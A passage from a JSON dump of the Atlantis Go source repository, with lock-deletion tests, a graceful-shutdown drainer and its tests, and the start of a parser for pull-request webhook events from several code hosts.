    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\tlockmocks \"github.com/runatlantis/atlantis/server/core/locking/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nfunc TestDeleteLock_LockerErr(t *testing.T) {\n\tt.Log(\"If there is an error retrieving the lock, we return the error\")\n\tlogger := logging.NewNoopLogger(t)\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\tl.EXPECT().Unlock(\"id\").Return(nil, errors.New(\"err\"))\n\tdlc := events.DefaultDeleteLockCommand{Locker: l}\n\t_, err := dlc.DeleteLock(logger, \"id\")\n\tErrEquals(t, \"err\", err)\n}\n\nfunc TestDeleteLock_None(t *testing.T) {\n\tt.Log(\"If there is no lock at that ID we return nil\")\n\tlogger := logging.NewNoopLogger(t)\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\tl.EXPECT().Unlock(\"id\").Return(nil, nil)\n\tdlc := events.DefaultDeleteLockCommand{Locker: l}\n\tlock, err := dlc.DeleteLock(logger, \"id\")\n\tOk(t, err)\n\tAssert(t, lock == nil, \"lock was not nil\")\n}\n\nfunc TestDeleteLock_Success(t *testing.T) {\n\tt.Log(\"Delete lock deletes successfully the plan file\")\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t) // needed for pegomock WorkingDir mock\n\tworkspace := \"workspace\"\n\tpath := \"path\"\n\tprojectName := \"\"\n\tpull := models.PullRequest{\n\t\tBaseRepo: models.Repo{FullName: \"owner/repo\"},\n\t}\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\tl.EXPECT().Unlock(\"id\").Return(&models.ProjectLock{\n\t\tPull:      pull,\n\t\tWorkspace: workspace,\n\t\tProject: models.Project{\n\t\t\tPath:         path,\n\t\t\tRepoFullName: pull.BaseRepo.FullName,\n\t\t},\n\t}, nil)\n\tworkingDir := events.NewMockWorkingDir()\n\tworkingDirLocker := events.NewDefaultWorkingDirLocker()\n\ttmp := t.TempDir()\n\tdb, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tdb.Close()\n\t})\n\tOk(t, err)\n\tdlc := events.DefaultDeleteLockCommand{\n\t\tLocker:           l,\n\t\tDatabase:         db,\n\t\tWorkingDirLocker: workingDirLocker,\n\t\tWorkingDir:       workingDir,\n\t}\n\tlock, err := dlc.DeleteLock(logger, \"id\")\n\tOk(t, err)\n\tAssert(t, lock != nil, \"lock was nil\")\n\tworkingDir.VerifyWasCalledOnce().DeletePlan(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull), Eq(workspace),\n\t\tEq(path), Eq(projectName))\n}\n\nfunc TestDeleteLocksByPull_LockerErr(t *testing.T) {\n\tt.Log(\"If there is an error retrieving the lock, returned a failed status\")\n\tlogger := logging.NewNoopLogger(t)\n\trepoName := \"reponame\"\n\tpullNum := 2\n\tRegisterMockTestingT(t) // needed for pegomock WorkingDir mock\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\tworkingDir := events.NewMockWorkingDir()\n\tl.EXPECT().UnlockByPull(repoName, pullNum).Return(nil, errors.New(\"err\"))\n\tdlc := events.DefaultDeleteLockCommand{\n\t\tLocker:     l,\n\t\tWorkingDir: workingDir,\n\t}\n\t_, err := dlc.DeleteLocksByPull(logger, repoName, pullNum)\n\tErrEquals(t, \"err\", err)\n\tworkingDir.VerifyWasCalled(Never()).DeletePlan(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tAny[string](), Any[string](), Any[string]())\n}\n\nfunc TestDeleteLocksByPull_None(t *testing.T) {\n\tt.Log(\"If there is no lock at that ID there is no error\")\n\tlogger := logging.NewNoopLogger(t)\n\trepoName := \"reponame\"\n\tpullNum := 2\n\tRegisterMockTestingT(t) // needed for pegomock WorkingDir mock\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\tworkingDir := events.NewMockWorkingDir()\n\tl.EXPECT().UnlockByPull(repoName, pullNum).Return([]models.ProjectLock{}, nil)\n\tdlc := events.DefaultDeleteLockCommand{\n\t\tLocker:     l,\n\t\tWorkingDir: workingDir,\n\t}\n\t_, err := dlc.DeleteLocksByPull(logger, repoName, pullNum)\n\tOk(t, err)\n\tworkingDir.VerifyWasCalled(Never()).DeletePlan(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\tAny[string](), Any[string](), Any[string]())\n}\n\nfunc TestDeleteLocksByPull_SingleSuccess(t *testing.T) {\n\tt.Log(\"If a single lock is successfully deleted\")\n\tlogger := logging.NewNoopLogger(t)\n\trepoName := \"reponame\"\n\tpullNum := 2\n\tpath := \".\"\n\tworkspace := \"default\"\n\tprojectName := \"projectname\"\n\n\tRegisterMockTestingT(t) // needed for pegomock WorkingDir mock\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\tworkingDir := events.NewMockWorkingDir()\n\tpull := models.PullRequest{\n\t\tBaseRepo: models.Repo{FullName: repoName},\n\t\tNum:      pullNum,\n\t}\n\tl.EXPECT().UnlockByPull(repoName, pullNum).Return([]models.ProjectLock{\n\t\t{\n\t\t\tPull:      pull,\n\t\t\tWorkspace: workspace,\n\t\t\tProject: models.Project{\n\t\t\t\tPath:         path,\n\t\t\t\tRepoFullName: pull.BaseRepo.FullName,\n\t\t\t\tProjectName:  projectName,\n\t\t\t},\n\t\t},\n\t}, nil,\n\t)\n\tdlc := events.DefaultDeleteLockCommand{\n\t\tLocker:     l,\n\t\tWorkingDir: workingDir,\n\t}\n\t_, err := dlc.DeleteLocksByPull(logger, repoName, pullNum)\n\tOk(t, err)\n\tworkingDir.VerifyWasCalled(Once()).DeletePlan(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull), Eq(workspace),\n\t\tEq(path), Eq(projectName))\n}\n\nfunc TestDeleteLocksByPull_MultipleSuccess(t *testing.T) {\n\tt.Log(\"If multiple locks are successfully deleted\")\n\tlogger := logging.NewNoopLogger(t)\n\trepoName := \"reponame\"\n\tpullNum := 2\n\tpath1 := \"path1\"\n\tpath2 := \"path2\"\n\tworkspace := \"default\"\n\tprojectName := \"\"\n\n\tRegisterMockTestingT(t) // needed for pegomock WorkingDir mock\n\tctrl := gomock.NewController(t)\n\tl := lockmocks.NewMockLocker(ctrl)\n\tworkingDir := events.NewMockWorkingDir()\n\tpull := models.PullRequest{\n\t\tBaseRepo: models.Repo{FullName: repoName},\n\t\tNum:      pullNum,\n\t}\n\tl.EXPECT().UnlockByPull(repoName, pullNum).Return([]models.ProjectLock{\n\t\t{\n\t\t\tPull:      pull,\n\t\t\tWorkspace: workspace,\n\t\t\tProject: models.Project{\n\t\t\t\tPath:         path1,\n\t\t\t\tRepoFullName: pull.BaseRepo.FullName,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tPull:      pull,\n\t\t\tWorkspace: workspace,\n\t\t\tProject: models.Project{\n\t\t\t\tPath:         path2,\n\t\t\t\tRepoFullName: pull.BaseRepo.FullName,\n\t\t\t},\n\t\t},\n\t}, nil,\n\t)\n\tdlc := events.DefaultDeleteLockCommand{\n\t\tLocker:     l,\n\t\tWorkingDir: workingDir,\n\t}\n\t_, err := dlc.DeleteLocksByPull(logger, repoName, pullNum)\n\tOk(t, err)\n\tworkingDir.VerifyWasCalled(Once()).DeletePlan(logger, pull.BaseRepo, pull, workspace, path1, projectName)\n\tworkingDir.VerifyWasCalled(Once()).DeletePlan(logger, pull.BaseRepo, pull, workspace, path2, projectName)\n}\n"
  },
  {
    "path": "server/events/drainer.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"sync\"\n)\n\n// Drainer is used to gracefully shut down atlantis by waiting for in-progress\n// operations to complete.\ntype Drainer struct {\n\tstatus DrainStatus    `validate:\"required\"`\n\tmutex  sync.Mutex     `validate:\"required\"`\n\twg     sync.WaitGroup `validate:\"required\"`\n}\n\ntype DrainStatus struct {\n\t// ShuttingDown is whether we are in the progress of shutting down.\n\tShuttingDown bool\n\t// InProgressOps is the number of operations currently in progress.\n\tInProgressOps int\n}\n\n// StartOp tries to start a new operation. It returns false if Atlantis is\n// shutting down.\nfunc (d *Drainer) StartOp() bool {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tif d.status.ShuttingDown {\n\t\treturn false\n\t}\n\td.status.InProgressOps++\n\td.wg.Add(1)\n\treturn true\n}\n\n// OpDone marks an operation as complete.\nfunc (d *Drainer) OpDone() {\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\td.status.InProgressOps--\n\td.wg.Done()\n\tif d.status.InProgressOps < 0 {\n\t\t// This would be a bug.\n\t\td.status.InProgressOps = 0\n\t}\n}\n\n// ShutdownBlocking sets \"shutting down\" to true and blocks until there are no\n// in progress operations.\nfunc (d *Drainer) ShutdownBlocking() {\n\t// Set the shutdown status.\n\td.mutex.Lock()\n\td.status.ShuttingDown = true\n\td.mutex.Unlock()\n\n\t// Block until there are no in-progress ops.\n\td.wg.Wait()\n}\n\nfunc (d *Drainer) GetStatus() DrainStatus {\n\treturn d.status\n}\n"
  },
  {
    "path": "server/events/drainer_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"context\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test starting and completing ops.\nfunc TestDrainer(t *testing.T) {\n\td := events.Drainer{}\n\n\t// Starts at 0.\n\tEquals(t, 0, d.GetStatus().InProgressOps)\n\n\t// Add 1.\n\td.StartOp()\n\tEquals(t, 1, d.GetStatus().InProgressOps)\n\n\t// Remove 1.\n\td.OpDone()\n\tEquals(t, 0, d.GetStatus().InProgressOps)\n\n\t// Add 2.\n\td.StartOp()\n\td.StartOp()\n\tEquals(t, 2, d.GetStatus().InProgressOps)\n\n\t// Remove 1.\n\td.OpDone()\n\tEquals(t, 1, d.GetStatus().InProgressOps)\n}\n\nfunc TestDrainer_Shutdown(t *testing.T) {\n\td := events.Drainer{}\n\td.StartOp()\n\n\tshutdown := make(chan bool)\n\tgo func() {\n\t\td.ShutdownBlocking()\n\t\tclose(shutdown)\n\t}()\n\n\t// Sleep to ensure that ShutdownBlocking has been called.\n\ttime.Sleep(300 * time.Millisecond)\n\n\t// Starting another op should fail.\n\tEquals(t, false, d.StartOp())\n\n\t// Status should be shutting down.\n\tEquals(t, events.DrainStatus{\n\t\tShuttingDown:  true,\n\t\tInProgressOps: 1,\n\t}, d.GetStatus())\n\n\t// Stop the final operation and wait for shutdown to exit.\n\td.OpDone()\n\ttimer, cancel := context.WithTimeout(context.Background(), 1*time.Second)\n\tdefer cancel()\n\tselect {\n\tcase <-shutdown:\n\tcase <-timer.Done():\n\t\tAssert(t, false, \"Timer reached without shutdown\")\n\n\t}\n}\n"
  },
  {
    "path": "server/events/event_parser.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\n\tgiteasdk \"code.gitea.io/sdk/gitea\"\n\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\t\"github.com/go-playground/validator/v10\"\n\t\"github.com/google/go-github/v83/github\"\n\tlru \"github.com/hashicorp/golang-lru/v2\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/gitea\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\nconst gitlabPullOpened = \"opened\"\nconst usagesCols = 90\n\nvar lastBitbucketSha, _ = lru.New[string, string](300)\n\n// PullCommand is a command to run on a pull request.\ntype PullCommand interface {\n\t// Dir is the path relative to the repo root to run the command in.\n\t// Will never end in \"/\". If empty then the comment specified no directory.\n\tDir() string\n\t// CommandName is the name of the command we're running.\n\tCommandName() command.Name\n\t// SubCommandName is the subcommand name of the command we're running.\n\tSubCommandName() string\n\t// IsVerbose is true if the output of this command should be verbose.\n\tIsVerbose() bool\n\t// IsAutoplan is true if this is an autoplan command vs. a comment command.\n\tIsAutoplan() bool\n}\n\n// PolicyCheckCommand is a policy_check command that is automatically triggered\n// after successful plan command.\ntype PolicyCheckCommand struct{}\n\n// CommandName is policy_check.\nfunc (c PolicyCheckCommand) CommandName() command.Name {\n\treturn command.PolicyCheck\n}\n\n// SubCommandName is a subcommand for policy_check.\nfunc (c PolicyCheckCommand) SubCommandName() string {\n\treturn \"\"\n}\n\n// Dir is empty\nfunc (c PolicyCheckCommand) Dir() string {\n\treturn \"\"\n}\n\n// IsVerbose is false for policy_check commands.\nfunc (c PolicyCheckCommand) IsVerbose() bool {\n\treturn false\n}\n\n// IsAutoplan is true for policy_check commands.\nfunc (c PolicyCheckCommand) IsAutoplan() bool {\n\treturn false\n}\n\n// AutoplanCommand is a plan command that is automatically triggered when a\n// pull request is opened or updated.\ntype AutoplanCommand struct{}\n\n// CommandName is plan.\nfunc (c AutoplanCommand) CommandName() command.Name {\n\treturn command.Plan\n}\n\n// SubCommandName is a subcommand for auto plan.\nfunc (c AutoplanCommand) SubCommandName() string {\n\treturn \"\"\n}\n\n// Dir is empty\nfunc (c AutoplanCommand) Dir() string {\n\treturn \"\"\n}\n\n// IsVerbose is false for autoplan commands.\nfunc (c AutoplanCommand) IsVerbose() bool {\n\treturn false\n}\n\n// IsAutoplan is true for autoplan commands (obviously).\nfunc (c AutoplanCommand) IsAutoplan() bool {\n\treturn true\n}\n\n// CommentCommand is a command that was triggered by a pull request comment.\ntype CommentCommand struct {\n\t// RepoRelDir is the path relative to the repo root to run the command in.\n\t// Will never end in \"/\". If empty then the comment specified no directory.\n\tRepoRelDir string\n\t// Flags are the extra arguments appended to the comment,\n\t// ex. atlantis plan -- -target=resource\n\tFlags []string\n\t// Name is the name of the command the comment specified.\n\tName command.Name\n\t// SubName is the name of the sub command the comment specified.\n\tSubName string\n\t// AutoMergeDisabled is true if the command should not automerge after apply.\n\tAutoMergeDisabled bool\n\t// AutoMergeMethod specified the merge method for the VCS if automerge enabled.\n\tAutoMergeMethod string\n\t// Verbose is true if the command should output verbosely.\n\tVerbose bool\n\t// Workspace is the name of the Terraform workspace to run the command in.\n\t// If empty then the comment specified no workspace.\n\tWorkspace string\n\t// ProjectName is the name of a project to run the command on. It refers to a\n\t// project specified in an atlantis.yaml file.\n\t// If empty then the comment specified no project.\n\tProjectName string\n\t// PolicySet is the name of a policy set to run an approval on.\n\tPolicySet string\n\t// ClearPolicyApproval is true if approvals should be cleared out for specified policies.\n\tClearPolicyApproval bool\n}\n\n// IsForSpecificProject returns true if the command is for a specific dir, workspace\n// or project name. Otherwise it's a command like \"atlantis plan\" or \"atlantis\n// apply\".\nfunc (c CommentCommand) IsForSpecificProject() bool {\n\treturn c.RepoRelDir != \"\" || c.Workspace != \"\" || c.ProjectName != \"\"\n}\n\n// Dir returns the dir of this command.\nfunc (c CommentCommand) Dir() string {\n\treturn c.RepoRelDir\n}\n\n// CommandName returns the name of this command.\nfunc (c CommentCommand) CommandName() command.Name {\n\treturn c.Name\n}\n\n// SubCommandName returns the name of this subcommand.\nfunc (c CommentCommand) SubCommandName() string {\n\treturn c.SubName\n}\n\n// IsVerbose is true if the command should give verbose output.\nfunc (c CommentCommand) IsVerbose() bool {\n\treturn c.Verbose\n}\n\n// IsAutoplan will be false for comment commands.\nfunc (c CommentCommand) IsAutoplan() bool {\n\treturn false\n}\n\n// String returns a string representation of the command.\nfunc (c CommentCommand) String() string {\n\treturn fmt.Sprintf(\"command=%q, verbose=%t, dir=%q, workspace=%q, project=%q, policyset=%q, auto-merge-disabled=%t, auto-merge-method=%s, clear-policy-approval=%t, flags=%q\", c.Name.String(), c.Verbose, c.RepoRelDir, c.Workspace, c.ProjectName, c.PolicySet, c.AutoMergeDisabled, c.AutoMergeMethod, c.ClearPolicyApproval, strings.Join(c.Flags, \",\"))\n}\n\n// NewCommentCommand constructs a CommentCommand, setting all missing fields to defaults.\nfunc NewCommentCommand(repoRelDir string, flags []string, name command.Name, subName string, verbose, autoMergeDisabled bool, autoMergeMethod string, workspace string, project string, policySet string, clearPolicyApproval bool) *CommentCommand {\n\t// If repoRelDir was empty we want to keep it that way to indicate that it\n\t// wasn't specified in the comment.\n\tif repoRelDir != \"\" {\n\t\trepoRelDir = path.Clean(repoRelDir)\n\t\tif repoRelDir == \"/\" {\n\t\t\trepoRelDir = \".\"\n\t\t}\n\t}\n\treturn &CommentCommand{\n\t\tRepoRelDir:          repoRelDir,\n\t\tFlags:               flags,\n\t\tName:                name,\n\t\tSubName:             subName,\n\t\tVerbose:             verbose,\n\t\tWorkspace:           workspace,\n\t\tAutoMergeDisabled:   autoMergeDisabled,\n\t\tAutoMergeMethod:     autoMergeMethod,\n\t\tProjectName:         project,\n\t\tPolicySet:           policySet,\n\t\tClearPolicyApproval: clearPolicyApproval,\n\t}\n}\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_event_parsing.go EventParsing\n\n// EventParsing parses webhook events from different VCS hosts into their\n// respective Atlantis models.\n// todo: rename to VCSParsing or the like because this also parses API responses #refactor\ntype EventParsing interface {\n\t// ParseGithubIssueCommentEvent parses GitHub pull request comment events.\n\t// baseRepo is the repo that the pull request will be merged into.\n\t// user is the pull request author.\n\t// pullNum is the number of the pull request that triggered the webhook.\n\tParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) (\n\t\tbaseRepo models.Repo, user models.User, pullNum int, err error)\n\n\t// ParseGithubPull parses the response from the GitHub API endpoint (not\n\t// from a webhook) that returns a pull request.\n\t// pull is the parsed pull request.\n\t// baseRepo is the repo the pull request will be merged into.\n\t// headRepo is the repo the pull request branch is from.\n\tParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) (\n\t\tpull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error)\n\n\t// ParseGithubPullEvent parses GitHub pull request events.\n\t// pull is the parsed pull request.\n\t// pullEventType is the type of event, for example opened/closed.\n\t// baseRepo is the repo the pull request will be merged into.\n\t// headRepo is the repo the pull request branch is from.\n\t// user is the pull request author.\n\tParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) (\n\t\tpull models.PullRequest, pullEventType models.PullRequestEventType,\n\t\tbaseRepo models.Repo, headRepo models.Repo, user models.User, err error)\n\n\t// ParseGithubRepo parses the response from the GitHub API endpoint that\n\t// returns a repo into the Atlantis model.\n\tParseGithubRepo(ghRepo *github.Repository) (models.Repo, error)\n\n\t// ParseGitlabMergeRequestEvent parses GitLab merge request events.\n\t// pull is the parsed merge request.\n\t// pullEventType is the type of event, for example opened/closed.\n\t// baseRepo is the repo the merge request will be merged into.\n\t// headRepo is the repo the merge request branch is from.\n\t// user is the pull request author.\n\tParseGitlabMergeRequestEvent(event gitlab.MergeEvent) (\n\t\tpull models.PullRequest, pullEventType models.PullRequestEventType,\n\t\tbaseRepo models.Repo, headRepo models.Repo, user models.User, err error)\n\n\t// ParseGitlabMergeRequestUpdateEvent dives deeper into Gitlab merge request update events to check\n\t// if Atlantis should handle events or not. Atlantis should ignore events which dont change the MR content\n\t// We assume that 1 event carries multiple events, so firstly need to check for events triggering Atlantis planning\n\t// Default 'unknown' event to 'models.UpdatedPullEvent'\n\tParseGitlabMergeRequestUpdateEvent(event gitlab.MergeEvent) models.PullRequestEventType\n\n\t// ParseGitlabMergeRequestCommentEvent parses GitLab merge request comment\n\t// events.\n\t// baseRepo is the repo the merge request will be merged into.\n\t// headRepo is the repo the merge request branch is from.\n\t// user is the pull request author.\n\tParseGitlabMergeRequestCommentEvent(event gitlab.MergeCommentEvent) (\n\t\tbaseRepo models.Repo, headRepo models.Repo, commentID int, user models.User, err error)\n\n\t// ParseGitlabMergeRequest parses the response from the GitLab API endpoint\n\t// that returns a merge request.\n\tParseGitlabMergeRequest(mr *gitlab.MergeRequest, baseRepo models.Repo) models.PullRequest\n\n\tParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) (baseRepo models.Repo, err error)\n\n\t// ParseBitbucketCloudPullEvent parses a pull request event from Bitbucket\n\t// Cloud (bitbucket.org).\n\t// pull is the parsed pull request.\n\t// baseRepo is the repo the pull request will be merged into.\n\t// headRepo is the repo the pull request branch is from.\n\t// user is the pull request author.\n\tParseBitbucketCloudPullEvent(body []byte) (\n\t\tpull models.PullRequest, baseRepo models.Repo,\n\t\theadRepo models.Repo, user models.User, err error)\n\n\t// ParseBitbucketCloudPullCommentEvent parses a pull request comment event\n\t// from Bitbucket Cloud (bitbucket.org).\n\t// pull is the parsed pull request.\n\t// baseRepo is the repo the pull request will be merged into.\n\t// headRepo is the repo the pull request branch is from.\n\t// user is the pull request author.\n\t// comment is the comment that triggered the event.\n\tParseBitbucketCloudPullCommentEvent(body []byte) (\n\t\tpull models.PullRequest, baseRepo models.Repo,\n\t\theadRepo models.Repo, user models.User, comment string, err error)\n\n\t// GetBitbucketCloudPullEventType returns the type of the pull request\n\t// event given the Bitbucket Cloud header.\n\tGetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType\n\n\t// ParseBitbucketServerPullEvent parses a pull request event from Bitbucket\n\t// Server.\n\t// pull is the parsed pull request.\n\t// baseRepo is the repo the pull request will be merged into.\n\t// headRepo is the repo the pull request branch is from.\n\t// user is the pull request author.\n\tParseBitbucketServerPullEvent(body []byte) (\n\t\tpull models.PullRequest, baseRepo models.Repo, headRepo models.Repo,\n\t\tuser models.User, err error)\n\n\t// ParseBitbucketServerPullCommentEvent parses a pull request comment event\n\t// from Bitbucket Server.\n\t// pull is the parsed pull request.\n\t// baseRepo is the repo the pull request will be merged into.\n\t// headRepo is the repo the pull request branch is from.\n\t// user is the pull request author.\n\t// comment is the comment that triggered the event.\n\tParseBitbucketServerPullCommentEvent(body []byte) (\n\t\tpull models.PullRequest, baseRepo models.Repo, headRepo models.Repo,\n\t\tuser models.User, comment string, err error)\n\n\t// GetBitbucketServerPullEventType returns the type of the pull request\n\t// event given the Bitbucket Server header.\n\tGetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType\n\n\t// ParseAzureDevopsPull parses the response from the Azure DevOps API endpoint (not\n\t// from a webhook) that returns a pull request.\n\t// pull is the parsed pull request.\n\t// baseRepo is the repo the pull request will be merged into.\n\t// headRepo is the repo the pull request branch is from.\n\tParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) (\n\t\tpull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error)\n\n\t// ParseAzureDevopsPullEvent parses Azure DevOps pull request events.\n\t// pull is the parsed pull request.\n\t// pullEventType is the type of event, for example opened/closed.\n\t// baseRepo is the repo the pull request will be merged into.\n\t// headRepo is the repo the pull request branch is from.\n\t// user is the pull request author.\n\tParseAzureDevopsPullEvent(pullEvent azuredevops.Event) (\n\t\tpull models.PullRequest, pullEventType models.PullRequestEventType,\n\t\tbaseRepo models.Repo, headRepo models.Repo, user models.User, err error)\n\n\t// ParseAzureDevopsRepo parses the response from the Azure DevOps API endpoint that\n\t// returns a repo into the Atlantis model.\n\tParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error)\n\n\tParseGiteaPullRequestEvent(event giteasdk.PullRequest) (\n\t\tpull models.PullRequest, pullEventType models.PullRequestEventType,\n\t\tbaseRepo models.Repo, headRepo models.Repo, user models.User, err error)\n\n\tParseGiteaIssueCommentEvent(event gitea.GiteaIssueCommentPayload) (baseRepo models.Repo, user models.User, pullNum int, err error)\n\n\tParseGiteaPull(pull *giteasdk.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error)\n}\n\n// EventParser parses VCS events.\ntype EventParser struct {\n\tGithubUser         string\n\tGithubToken        string\n\tGithubTokenFile    string\n\tGitlabUser         string\n\tGitlabToken        string\n\tGiteaUser          string\n\tGiteaToken         string\n\tAllowDraftPRs      bool\n\tBitbucketUser      string\n\tBitbucketToken     string\n\tBitbucketServerURL string\n\tAzureDevopsToken   string\n\tAzureDevopsUser    string\n}\n\nfunc (e *EventParser) ParseAPIPlanRequest(vcsHostType models.VCSHostType, repoFullName string, cloneURL string) (models.Repo, error) {\n\tswitch vcsHostType {\n\tcase models.Github:\n\t\ttoken := e.GithubToken\n\t\tif e.GithubTokenFile != \"\" {\n\t\t\tcontent, err := os.ReadFile(e.GithubTokenFile)\n\t\t\tif err != nil {\n\t\t\t\treturn models.Repo{}, fmt.Errorf(\"failed reading github token file: %w\", err)\n\t\t\t}\n\t\t\ttoken = string(content)\n\t\t}\n\t\treturn models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GithubUser, token)\n\tcase models.Gitea:\n\t\treturn models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GiteaUser, e.GiteaToken)\n\tcase models.Gitlab:\n\t\treturn models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GitlabUser, e.GitlabToken)\n\t}\n\treturn models.Repo{}, fmt.Errorf(\"not implemented\")\n}\n\n// GetBitbucketCloudPullEventType returns the type of the pull request\n// event given the Bitbucket Cloud header.\nfunc (e *EventParser) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType {\n\tswitch eventTypeHeader {\n\tcase bitbucketcloud.PullCreatedHeader:\n\t\tlastBitbucketSha.Add(pr, sha)\n\t\treturn models.OpenedPullEvent\n\tcase bitbucketcloud.PullUpdatedHeader:\n\t\tlastSha, _ := lastBitbucketSha.Get(pr)\n\t\tif sha == lastSha {\n\t\t\t// No change, ignore\n\t\t\treturn models.OtherPullEvent\n\t\t}\n\t\tlastBitbucketSha.Add(pr, sha)\n\t\treturn models.UpdatedPullEvent\n\tcase bitbucketcloud.PullFulfilledHeader, bitbucketcloud.PullRejectedHeader:\n\t\treturn models.ClosedPullEvent\n\t}\n\treturn models.OtherPullEvent\n}\n\n// ParseBitbucketCloudPullCommentEvent parses a pull request comment event\n// from Bitbucket Cloud (bitbucket.org).\n// See EventParsing for return value docs.\nfunc (e *EventParser) ParseBitbucketCloudPullCommentEvent(body []byte) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, comment string, err error) {\n\tvar event bitbucketcloud.CommentEvent\n\tif err = json.Unmarshal(body, &event); err != nil {\n\t\terr = fmt.Errorf(\"parsing json: %w\", err)\n\t\treturn\n\t}\n\tif err = validator.New().Struct(event); err != nil {\n\t\terr = fmt.Errorf(\"API response %q was missing fields: %w\", string(body), err)\n\t\treturn\n\t}\n\tpull, baseRepo, headRepo, user, err = e.parseCommonBitbucketCloudEventData(event.CommonEventData)\n\tcomment = *event.Comment.Content.Raw\n\treturn\n}\n\nfunc (e *EventParser) parseCommonBitbucketCloudEventData(event bitbucketcloud.CommonEventData) (pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) {\n\tvar prState models.PullRequestState\n\tswitch *event.PullRequest.State {\n\tcase \"OPEN\":\n\t\tprState = models.OpenPullState\n\tcase \"MERGED\":\n\t\tprState = models.ClosedPullState\n\tcase \"SUPERSEDED\":\n\t\tprState = models.ClosedPullState\n\tcase \"DECLINED\":\n\t\tprState = models.ClosedPullState\n\tdefault:\n\t\terr = fmt.Errorf(\"unable to determine pull request state from %q–this is a bug\", *event.PullRequest.State)\n\t\treturn\n\t}\n\n\theadRepo, err = models.NewRepo(\n\t\tmodels.BitbucketCloud,\n\t\t*event.PullRequest.Source.Repository.FullName,\n\t\t*event.PullRequest.Source.Repository.Links.HTML.HREF,\n\t\te.BitbucketUser,\n\t\te.BitbucketToken)\n\tif err != nil {\n\t\treturn\n\t}\n\tbaseRepo, err = models.NewRepo(\n\t\tmodels.BitbucketCloud,\n\t\t*event.Repository.FullName,\n\t\t*event.Repository.Links.HTML.HREF,\n\t\te.BitbucketUser,\n\t\te.BitbucketToken)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tpull = models.PullRequest{\n\t\tNum:        *event.PullRequest.ID,\n\t\tHeadCommit: *event.PullRequest.Source.Commit.Hash,\n\t\tURL:        *event.PullRequest.Links.HTML.HREF,\n\t\tHeadBranch: *event.PullRequest.Source.Branch.Name,\n\t\tBaseBranch: *event.PullRequest.Destination.Branch.Name,\n\t\tAuthor:     